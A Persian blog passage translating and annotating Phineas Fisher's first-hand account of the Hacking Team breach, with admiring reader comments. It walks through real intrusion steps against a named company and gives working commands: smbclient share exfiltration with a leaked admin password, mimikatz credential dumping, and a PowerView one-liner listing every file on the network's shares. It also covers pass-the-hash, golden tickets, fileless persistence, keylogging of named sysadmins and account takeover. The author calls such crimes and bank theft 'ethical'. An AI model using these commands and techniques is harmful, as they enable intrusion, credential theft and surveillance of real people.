باگی که وجود دارد این است که اگر شما یک روز بزرگتر از 12 را استفاده کنید خطای تاریخ نامعتبر نشان داده میشود. (من فکر میکنم در ایالات متحده ابتدا ماه بیان میشود و سپس روز یعنی month/day/year به همین دلیل نمیتوان ماهی با عدد بزرگتر از 12 داشت) . به نظر میرسد مهندسان مایکروسافت نرم افزارهایشان را فقط با در نظر گرفتن فرمت مرسوم در موقعیت خودشان (ایالات متحده) تست میکنند.
دانلود فایلها
چون من دسترسی ادمین دامنه را داشتم فایلهای به اشتراک گذاشته شده را دانلود کردم. این کار با استفاده از proxychains و فلگ Tc ابزار smbclient انجام شد:
proxychains smbclient ‘//192.168.1.230/FAE DiskStation’ -U ‘HACKINGTEAM/Administrator%uu8dd8ndd12!’ -Tc FAE_DiskStation.tar ‘*’
من دایرکتورلهای Amministrazione ، FAE DiskStation و FileServer را پس از دانلود در تورنت منتشر کردم.
معرفی هک دامنههای ویندوزی
قبل از ادامه دادن داستان هکینگتیم، میخواهم به صورت عمومی در مورد هک شبکههای ویندوزی صحبت کنم:
حرکت جانبی (Lateral Movement)
مترجم: حرکت جانبی یا گسترش جانبی در تست نفوذ عبارت است از مجموعه تکنیکهایی که مهاجم برای گسترش دسترسی در شبکه یا سیستم و هدف قرار دادن کاربران و دستگاههای دیگر استفاده میکند. معمولاً پس از این که مهاجم توانست وارد شبکهی داخلی هدف شود، سعی میکند سایر کاربران و دستگاههای شبکه را شناسایی و آنها را برای به دست آوردن اطلاعات حساس هدف قرار دهد.
من خلاصهای در مورد تکنیکهای مختلف برای گسترش دسترسی در شبکههای ویندوزی ارائه میکنم. تکنیکهای مورد استفاده برای اجرای کد و کنترل، نیازمند پسورد یا هش احراز هویت یک ادمین محلی (local admin) در سیستم یا شبکهی هدف هستند.
معمولترین روش برای به دست آوردن این اطلاعات تاکنون، استفاده از ابزار mimikatz بوده است. با استفاده از mimikatz و به خصوص با اجرای این دستورات:
sekurlsa::logonpasswords
sekurlsa::msvبر روی سیستم هدف با دسترسی ادمین میتوان اطلاعات احراز هویت کاربران لاگین شده را استخراج کرد.
تکنیکهای فوری و درجا برای حرکت جانبی نیازمند دسترسی ادمین هستند. (به جز runas) برای به دست آوردن دسترسی ادمین ممکن است نیاز به حملهی تشدید دسترسی (Privilege Escalation) باشد. ابزارهای PowerUp و bypassuac برای این منظور استفاده میشوند.
گسترش جانبی از راه دور (Remote Movement)
- psexec
روشی واقعی و آزموده شده برای حرکت جانبی در ویندوز، میتوانید از psexec، winexe، ماژول psexec_psh در متاسپلویت، ماژول invoke_psexec در PowerShell Empire یا دستور sc در ویندوز استفاده کنید.
برای ماژول متاسپلویت، ماژول PowerShell Empire و pth-winexe تنها نیاز به هش است و پسورد لازم نیست. این روش فراگیرترین روش است (این روش روی هر سیستم ویندوزی با پورت باز 445 جواب میدهد)، ولی این روش مخفی کاری کمتری دارد چرا که بسیاری از رویدادها در لاگها ثبت میشوند. طبق تجربه ی من، تاکنون هنگام عملیات نفوذ کسی متوجه استفاده از این روش نشده است، ولی این روش به کارآگاهان جرایم سایبری کمک میکند که پس از نفوذ تکههای پازل را کنار هم قرار دهند و تحرکات هکر را شناسایی کنند.
- WMI
این روش بیشترین مخفی کاری را دارد و ردپای کمی برجا میگذارد. سرویس WMI بر روی تمام سیستمهای ویندوزی فعال است، اما به جز سرورها، توسط فایروال به صورت پیشفرض بلاک میشود. شما میتوانید از wmiexec.py، pth-wmis، ماژول invoke_wmi در PowerShell Empire یا wmic در ویندوز استفاده کنید. برای همه ی این موارد به جز wmic تنها به هش نیاز دارید.
- PSRemoting
به صورت پیشفرض غیرفعال شده است و من پیشنهاد میکنم که درعملیات نفوذ پروتکلهای جدیدی را فعال نکنید. اما اگر این قابلیت توسط مدیر سیستم فعال شده است، استفاده از آن خیلی راحت است به خصوص اگر برای همهی کارها از پاورشل استفاده میکنید (و تقریباً برای همه چیز باید از پاورشل استفاده کنید!) پاورشل کمک میکند که هر چیز مربوط به RAM را انجام دهید، از مشکلات مربوط به آنتی ویروس جلوگیری کنید و ردپای کمتری باقی بگذارید!
- وظایف زمان بندی شده (Scheduled Tasks)
شما میتوانید برنامهها را از راه دور با استفاده از schtasks اجرا کنید. این روش شبیه استفاده از روش psexec است. همچنین، ردپاهای زیادی با استفاده از این روش باقی میماند.
- GPO
اگر تمامی پروتکلها غیرفعال شده اند و یا توسط فایروال مسدود شده اند، اگر دسترسی ادمین دامنه (Domain admin) دارید، میتوانید از GPO استفاده کنید تا به کاربران اسکریپت لاگین بدهید، فایل msi نصب کنید و یا یک وظیفه ی زمان بندی شده (scheduled task) را اجرا کنید. همچنین، میتوانید از GPO برای فعال کردن WMI و باز کردن فایروال استفاده کنید. من از این روش برای دسترسی به کامپیوتر Mauro Romeo استفاده کردم. Mauro Romeo یکی از مدیرسیستمهای هکینگتیم بود.حرکت جانبی فوری و درجا
- سرقت توکن (Token Stealing)
هنگامی که شما بر روی یک کامپیوتر دسترسی ادمین دارید، میتوانید از توکن سایر کاربران برای دسترسی به منابع در دامنه استفاده کنید. دو ابزار مورد استفاده برای این منظور incognito و دستورات token::* در mimikatz هستند.
- آسیبپذیریهای MS14-068 و MS16-014
اگر این آسیبپذیریها در Kerberos رفع نشده باشند، با بهرهگیری از آنها میتوان بلیت دسترسی ادمین دامنه (Domain admin tickets) را تولید کرد.
- Pass the Hash
اگر شما هش یک کاربر را دارید ولی آن کاربر لاگین نیست، میتوانید با دستور sekurlsa::pth در mimikatz بلیت (ticket) دسترسی به حساب آن کاربر را داشته باشید.
- تزریق پروسس (Process Injection)
بدافزارهای (RAT (Remote Access Tool میتوانند خود را به سایر پروسسها تزریق کنند. برای این منظور میتوان از دستور migrate در meterpreter، ابزار pupy یا دستور psinject در Powershell Empire استفاده کرد. شما میتوانید تزریق را به پروسسی انجام دهید که توکنی را که شما میخواهید دارد.
- runas
این مورد گاهی بسیار سودمند است به خصوص که نیازی به دسترسی ادمین ندارد. runas قسمتی از ویندوز است ولی اگر به رابط کاربری گرافیکی (GUI) دسترسی ندارید، میتوانید از پاورشل استفاده کنید.ماندگاری (Persistence)
وقتی شما به هدف دسترسی پیدا میکنید، سعی میکنید که دسترسی باقی بماند تا در آینده بدون مشکل به سیستم هدف برگردید. راستش را بخواهید، حفظ دسترسی فقط برای احمقهایی مثل هکینگتیم مهم است که فعالان مدنی و سایر افراد معمولی را هدف قرار میدهند. برای هک یک شرکت نیازی به ماندگاری دسترسی نیست چرا که شرکتها همیشه بیدارند و سرورها در بلند مدت خاموش نمیشوند!
من برای حفظ دسترسی و ماندگاری از روشی مشابه Duqu 2 استفاده میکنم.
مترجم: Duqu 2 بدافزاری بدون فایل (fileless) از خانواده استاکس نت است که هدف آن جاسوسی از مذاکرات هستهای ایران بود. این بدافزار مستقیماً داخل RAM اجرا میشود و روشی که این بدافزار برای ماندگاری استفاده میکند غیرمعمول است.
من بدافزار را مستقیماً داخل RAM دو سرور که UpTime بالایی دارند اجرا میکنم. (UpTime مدت زمانی است که از روشن شدن سیستم میگذرد). در صورتی که همهی سرورها همزمان ریستارت شوند، برای بازیابی دسترسی از پسوردهای سرقت شده و بلیت طلایی (Golden Ticket) استفاده میکنم.
مترجم: بلیت طلایی یک توکن مربوط به اکانت خاص KRBTGT در Active Directory است که با استفاده از آن میتوان به هر حساب موجود در دامنه دسترسی داشت.
برای اطلاعات بیشتر در مورد تکنیکهای مختلف ماندگاری در ویندوز میتوانید منابع زیر را مطالعه کنید:
http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
https://blog.netspi.com/tag/persistence/
http://www.hexacorn.com/blog/category/autostart-persistence/در مورد شرکتها، ماندگاری واقعاً لازم نیست و ریسک تشخیص حمله را بالا میبرد.
شناسایی داخلی (Internal reconnaissance)
امروزه بهترین ابزار برای درک شبکههی ویندوزی ابزار Powerview است. ارزش دارد هرچیزی را که نویسنده این ابزار نوشته است بخوانید:
http://www.harmj0y.net/blog/tag/powerview/
http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
http://www.harmj0y.net/blog/redteaming/powerview-2-0/
http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
http://www.slideshare.net/harmj0y/i-have-the-powerview/همچنین، پاورشل خودش یک ابزار بسیار قدرتمند است. هنوز سرورهای ویندوزی بسیاری وجود دارند که از نسخههای 2000 و 2003 استفاده میکنند و پاورشل بر روی این سرورها نصب نیست. برای این سرورها، لازم است که برخی تکنیکهای قدیمی را یاد بگیرید. این تکنیکهای قدیمی شامل کار با netview.exe و دستور “net view” در ویندوز است.
برخی دیگر از تکنیکهای مورد علاقهی من عبارت اند از:
- دانلود لیستی از فایلها
اگر دسترسی ادمین دامنه را دارید، با استفاده از powerview میتوانید لیست تمام فایلها در شبکه را داشته باشید:بعداً در اوقات فراغت میتوانید لیست را بررسی کنید و فایلهایی را که میخواهید، برای دانلود انتخاب کنید.Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
select-string ‘^(.*) \t-‘ | %{dir -recurse $_.Matches[0].Groups[1] |
select fullname | out-file -append files.txt}
- خواندن ایمیلها
همان طور که قبلاً دیدید، برای دانلود ایمیلها میتوانید از پاورشل استفاده کنید و این ابزار اطلاعات زیادی را به ما میدهد.
- خواندن شیرپوینت (SharePoint)
شیرپوینت یکی از جاهایی است که بسیاری از شرکتها خیلی از اطلاعات مهم را در آن ذخیره میکنند. میتوان از پاورشل برای دانلود این اطلاعات استفاده کرد.
- اکتیو دایرکتوری (Active Directory)
در اکتیو دایرکتوری اطلاعات با ارزش زیادی در مورد کاربران و کامپیوترها وجود دارد. حتی بدون دسترسی ادمین دامنه با استفاده از powerview و ابزارهای دیگر، میتوانید اطلاعات زیادی را به دست آورید. پس از گرفتن دسترسی ادمین دامنه میتوانید با استفاده از ابزار csvde یا یک ابزار دیگر تمام اطلاعات اکتیو دایرکتوری را استخراج کنید.
- شنود کارمندان
یکی از سرگرمیهای مورد علاقه من شکار مدیرسیستمها است. با جاسوسی از Christian Pozzi (یکی از مدیر سیستمهای هکینگتیم) توانستم به سرور Nagios دسترسی پیدا کنم. از طریق این سرور به شبکهی توسعهی بدافزارها دسترسی پیدا کردم و سورسکد بدافزارها را سرقت کردم. با استفاده از دستورات Get-Keystrokes و Get-TimedScreenshot در ابزار PowerSploit و دستور Do-Exfiltration در ابزار nishang و GPO میتوان از هر کاربر دلخواه یا حتی کل دامنه جاسوسی کرد.شکار مدیرسیستمها!
با خواندن مستندات هکینگتیم در مورد زیرساختها، متوجه شدم که من به یک چیز مهم هنوز دسترسی ندارم: شبکهای ایزوله با نام Rete Sviluppo (ترجمه از ایتالیایی: شبکهی توسعه) که سورس کد بدافزارها در آن نگهداری میشد.
مدیرسیستمهای یک شرکت همیشه به همه چیز دسترسی دارند. بنابراین، کامپیوتر دو تن از مدیرسیستکهای هکینگتیم، Mauro Romeo و Christian Pozzi را جستجو کردم تا بفهمم که آنها چگونه این شبکه را مدیریت میکنند. همچنین، میخواستم بدانم که آیا سیستمهای جذاب دیگری هستند تا بررسی کنم یا نه.
دسترسی به کامپیوتر این دو کارمند خیلی راحت بود، چرا که آنها همواره عضو دامنهای بودند که من دسترسی ادمین آن را داشتم. کامپیوتر Mauro Romeo هیچ پورت بازی نداشت. پورت را برای WMI باز کردم و meterpreter متاسپلویت را برای جاسوسی از این دو کارمند استفاده کردم.
در عملیات جاسوسی، از کیلاگر استفاده کردم، فایلهای کامپیوتر را جستجو کردم، نمایشگر را رصد کردم، از اسکریپت پاورشل CredMan.ps1 برای جستجوی اطلاعات احراز هویت استفاده کردم و…
تا این که در کامپیوتر Christian Pozzi یک پارتیشین هارد دیسک رمز شده با استفاده از TrueCrypt پیدا کردم. هارد دیسک رمزنگاری شده بدون داشتن پسورد رمزنگاری قابل خواندن نیست. صبر کردم تا Christian Pozzi این پارتیشین را استفاده کند و پارتیشن از حالت رمز خارج شود. وقتی او این کار را انجام داد، من فایلهای این پارتیشن را کپی کردم.
پس از افشای اطلاعات هکینگتیم، خیلیها Christian Pozzi را به خاطر پسوردهای ضعیف استفاده شده مسخره کردند اما من آنها را برای رد گم کنی منتشر کرده بودم! حقیقت این است که هیچ پسوردی از دید کیلاگرها و mimikatz پنهان نیست! حتی پسوردهای بسیار پیچیده! با این وجود، بسیاری از اطلاعات افشا شده مربوط به Christian Pozzi است و من به او میخندم!
پل
در پارتیشین TrueCrypt پیدا شده یک فایل متنی وجود داشت که در آن تعداد زیادی پسورد ذخیره شده بود. یکی از پسوردها برای یک سرور تمام اتوماتیک با نام Nagios بود. این سرور به شبکهی توسعهی بدافزار دسترسی داشت و آن را رصد میکرد. من پل وارد شدن به این شبکه را پیدا کرده بودم. فایل متنی فقط پسورد ورود به محیط کاربری وب را داشت، اما من یک اکسپلویت اجرای کد از راه دور برای محیط وب سرور پیدا کردم که قبلاً عمومی شده بود:
http://web.archive.org/web/20150106182519/http://seclists.org/fulldisclosure/2014/Oct/78/
این اکسپلویت نیازی به احراز هویت نداشت (Unauthenticated)، اما لازم بود که حداقل یک نفر قبلاً وارد حساب شده باشد تا اکسپلویت کار کند. بنابراین، با استفاده از پسورد وارد حساب شدم و سپس اکسپلویت را اجرا کردم تا به سرور نفوذ کنم و دسترسی بگیرم.
استفادهی مجدد و بازنشانی رمز عبور
پس از خواندن ایمیلها، متوجه شدم Daniele Milan به مخازن گیت دسترسی دارد. من رمز حساب ویندوز او را قبلاً با mimikatz پیدا کرده بودم. نام کاربری و رمز او را برای ورود به سرور گیت تست کردم و موفق شدم وارد حساب او شوم.
برای تصاحب سرور GitLab و اکانت توییتر هکینگتیم، از قابلیت بازیابی پسورد (password reset) استفاده کردم، چرا که من به سرور ایمیل برای بازنشانی رمزها دسترسی داشتم.
ختم کلام
آن چه گفته شد، همهی چیزی بود که برای متوقف کردن یک شرکت ناقض حقوق بشر انجام شد. زیبایی هک کردن در نامتقارن بودن آن است. فقط با صد ساعت تلاش یک نفر، زحمات چند ساله ی یک شرکت شیطانی ثروتمند از بین رفت.
هک کردن این شانس را به اقشار مورد ستم میدهد که مبارزه کنند و پیروز شوند. اغلب آموزشهای امنیت و هک با این جملات برای سلب مسئولیت به پایان میرسند:
این مطلب فقط برای اهداف آموزشی است، هکر”اخلاقی” باشید و هرگز به سیستمهایی که اجازه ندارید حمله نکنید.
من نیز همین را میگویم، فقط منظور من از کلمهی “اخلاقی” کمی سرکشانه است! افشای اسناد، سلب مالکیت پول از بانکها و تلاش برای امن کردن کامپیوترها برای مردم عادی کاملاً “اخلاقی” است. به هر حال، بسیاری از افرادی که خود را “هکر اخلاقی” مینامند، فقط برای تأمین امنیت کسانی کار میکنند که به آنها پول خوبی برای مشاوره میدهند. همان کسانی که سزاوار هک شدن هستند!
من Vincenzetti، شرکت او (هکینگ تیم)، دوستان او در اداره ی پلیس، Carabinieri و حکومت را در امتداد فاشیسم تاریخی ایتالیا میبینم. این مطلب را به قربانیان حمله به مدرسهی Armando Diaz و همهی کسانی تقدیم میکنم که خونشان توسط فاشیستهای ایتالیا به زمین ریخته شد.
“اگر تو نه، پس کی؟
اگر الان نه، پس کِی؟”
دستهها: امنیت سازمان، امنیت شبکه
واقعا عالی بود
سپاس فراوان
سلام، مرسی بابت نظر. موفق باشید 🙂
آدم توقع چنین مقالاتی رو تو سایتهای فارسی زبان نداره
keep up the good work (Y)
متشکر
سلام، لطف دارید. خوشحالم که مطلب مفید بوده. ممنونم 🙂
زیبا و بسیار فوقالعاده. ممنون از تو علی عزیز که اینهمه وقت و انرژی گذاشتی. کلش رو خوندم، یادداشت برداشتم و بسیار برام مفید بود.
هم فلسفه و هم تکنیک خوبی داشت. دوست دارم مطالب بیشتری مثل این توی بلاگ خفنتون ببینم.
باز هم متشکر ازت!
ممنون از نظر
سلام، خوشحالم که مطلب براتون مفید بوده، امیدوارم در آینده مطالب خوبی داشته باشیم. متشکرم 🙂
عالی و آمورنده بود
ممنون بابت ترجمه
خواهش میکنم، البته یه تیکههایی هم اضافه داشت ترجمه خالی نبود
سلام. ممنونم بابت نظر خوبتون. موفق باشید 🙂
عالی بود،واقعا جای همچین مقالاتی خالی بود،اگر دوستان بتونن مقاله اصلی رو مطالعه کنن،جزئیات بیشتری بدست میارند.مرسی از علی جان بابت ترجمه خودمونیش
دقیقا، مقاله اصلی خیلی کاملتر هست
سلام. با شما موافقم که مطالعه ی مطالب فنی بهتره به زبان اصلی باشه. امیدوارم در آینده هم مقالات خوبی رو داشته باشیم. ممنونم بابت نظر 🙂
سلام خیلی مطلب خوبی بود و خیلی خوب بود که برای مطالعه بیشتر لینک رفرنس گذاشته بودین خسته نباشید واقعا
مرسی جواد، ممنون که خوندی
سلام، خوشحالم که نظر خوبی در مورد مطلب دارید. ممنونم. 🙂
سلام یه خداقوت جانانه باید بگم اقایاشار
خیلی وقت بود تو سایتای ایرانی همچین منابع نابی نبود….خسته نباشید واقعا
امیدوارم شمارو نبندن حداقل….منتظر مقالات جدیدتون هستیم مشتاقانه دوست من
سلام، امیدوارم در آینده هم مطالب خوبی داشته باشیم. ممنون 🙂
خیلی خیلی جالب بود .
سلام، مرسی بابت نظر 🙂
باید مطلب چند با با تمرکز بالا خونده بشه واقعا خیلی خوبه
سلام، ممونم بابت نظر خوبتون 🙂
خیلی مفید بود 🙂
مرسی از دوستن
خواهش، ممنون از نظر
عالی بود